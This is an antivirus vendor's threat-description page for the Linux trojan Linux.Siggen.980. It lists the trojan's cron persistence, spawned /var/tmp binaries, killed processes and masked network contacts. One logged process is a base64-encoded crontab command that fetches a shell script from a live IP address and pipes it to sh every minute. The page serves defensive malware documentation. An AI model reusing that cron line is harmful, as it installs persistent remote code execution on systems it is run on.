Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Siggen.980

Added to the Dr.Web virus database: 2018-09-21

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • ixkusiln
Launches processes:
  • sh -c /var/tmp/kodudumx ntfr &
  • sh -c /var/tmp/mjqwpdpu &
  • sh -c /var/tmp/htgqcrul wwwy &
  • sh -c echo '* * * * * echo -n \"IHBraWxsIC05IGJhc2ggOyB3Z2V0IC1PIC0gaHR0cDovLzE2NC4xMzIuMTU5LjU2L2RydXBhbC9wLnNofHNoIA==\" | base64 -d |sh > /dev/null' | crontab -;
  • /var/tmp/htgqcrul wwwy
  • crontab -
  • sh -c /var/tmp/jcpvmtgx uvvk &
  • /var/tmp/jcpvmtgx uvvk
  • sh -c /var/tmp/pdfckwvq jsxk &
  • /var/tmp/pdfckwvq jsxk
  • sh -c /var/tmp/csnqhkpq &
  • sh -c /var/tmp/ibndvbem dinn &
  • /var/tmp/ibndvbem dinn
  • sh -c /var/tmp/vbuflthm eldl &
  • /var/tmp/vbuflthm eldl
  • sh -c /var/tmp/mkspwnfv &
  • sh -c /var/tmp/ksfmrkqo kmkm &
  • /var/tmp/ksfmrkqo kmkm
Kills the following processes:
  • /bin/sh
  • Unknown process with PID: 715
  • cron
  • /var/tmp/pdfckwvq
  • exim4
Performs operations with the file system:
Modifies file access rights:
  • /var/tmp/kodudumx
  • /var/tmp/mjqwpdpu
  • /var/tmp/htgqcrul
  • /var/spool/cron/crontabs/tmp.LTD0K4
  • /var/tmp/jcpvmtgx
  • /var/tmp/pdfckwvq
  • /var/tmp/csnqhkpq
  • /var/tmp/ibndvbem
  • /var/tmp/vbuflthm
  • /var/tmp/mkspwnfv
  • /var/tmp/ksfmrkqo
Creates or modifies files:
  • /var/tmp/kodudumx
  • /var/tmp/mjqwpdpu
  • /var/tmp/htgqcrul
  • /var/tmp/www
  • /var/spool/cron/crontabs/tmp.LTD0K4
  • /var/tmp/jcpvmtgx
  • /var/tmp/pdfckwvq
  • /var/tmp/csnqhkpq
  • /var/tmp/ibndvbem
  • /var/tmp/vbuflthm
  • /var/tmp/mkspwnfv
  • /var/tmp/ksfmrkqo
Deletes files:
  • /var/tmp/kodudumx
  • /var/tmp/mjqwpdpu
  • /var/tmp/htgqcrul
  • /var/tmp/jcpvmtgx
  • /var/tmp/pdfckwvq
  • /var/tmp/csnqhkpq
  • /var/tmp/ibndvbem
  • /var/tmp/vbuflthm
  • /var/tmp/mkspwnfv
  • /var/tmp/ksfmrkqo
Locks files:
  • /var/tmp/www
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • 18#.##6.24.82:443
DNS ASK:
  • ww#.#ransfer.sh
Sends data to the following servers:
  • 18#.##6.24.82:443
Receives data from the following servers:
  • 18#.##6.24.82:443

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number